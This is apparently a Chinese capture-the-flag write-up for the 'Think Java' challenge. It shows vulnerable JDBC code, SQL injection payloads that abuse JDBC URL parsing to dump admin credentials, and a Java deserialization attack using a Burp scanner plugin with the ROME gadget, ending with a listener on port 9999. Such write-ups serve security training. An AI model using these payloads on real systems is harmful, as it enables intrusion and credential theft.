[网鼎杯 2020 朱雀组]Think Java
swagger
[[swagger]]
-
首先下载源码,查看之后发现
-
查找swagger资料,或者扫描,得到:swagger-ui.html
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
- 首先去看看sqlDict页面,感觉跟sql注入有关
JDBC sql注入
[[JDBC sql注入]]
//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法try {Class.forName("com.mysql.jdbc.Driver");if (dbName != null && !dbName.equals("")) {dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;} else {dbName = "jdbc:mysql://mysqldbserver:3306/myapp";}if (user == null || dbName.equals("")) {user = "root";}if (pass == null || dbName.equals("")) {pass = "abc@12345";}conn = DriverManager.getConnection(dbName, user, pass);//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";ResultSet rs = stmt.executeQuery(sql);
参考wp,写的比较详细
https://blog.csdn.net/RABCDXB/article/details/124003575
https://syunaht.com/p/701889044.html
?#特殊处理
jdbc类似于url解析,所以会对于#和?有着不一样的解释
#
在jdbc中无实际意义且#号后面的会被忽视。例如:myapp# 11会被当做myapp。而SQL语句得到的是:11?
也是一样的,不过需要加个键值对。myapp?a=11。得到的SQL语句是:11
所以构造,将提交方式改为post会好一点
dbName=myapp?a=1'union+select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())#
- 也不一定要用myapp数据库,也可以使用mysql自带的数据库,比如mysql
dbName=mysql?a=1'union+select+333#
- 上面我们使用myapp数据库的时候其实返回了表名user,字段name和pwd
- 所以直接进行注入
使用?
dbName=myapp?a=1'union+select+group_concat(name,pwd)+from+user#使用#
dbName=myapp#1'union+select+group_concat(name,pwd)+from+user#
得到
admin
admin@Rrrr_ctf_asde
- 进入登录页面进行登录
- 登录成功之后返回了
java反序列化
[[java反序列化]]
一段数据以
rO0AB
开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced
开头,那么他就是这一段Java序列化的16进制。
- 很明显是base64加密,进入最后一个将数据放入抓包
看到回显的数据就是admin用户名,尝试反序列化利用
java Deserialization Scanner
[[java反序列化#java Deserialization Scanner]]
- 分析组件
- 可以简化ysoserial使用流程
是bp里面的插件,下载安装看这篇博客吧
https://blog.csdn.net/RABCDXB/article/details/124003575 - 主要讲如何使用
有三个模块,分别是组件分析,漏洞利用,配置
使用
组件分析
- 进入
- 使用
- 显现红色的就是它推测出来的组件,这里是ROME
漏洞利用 - 进入
- 使用
最后,监听9999 端口,得到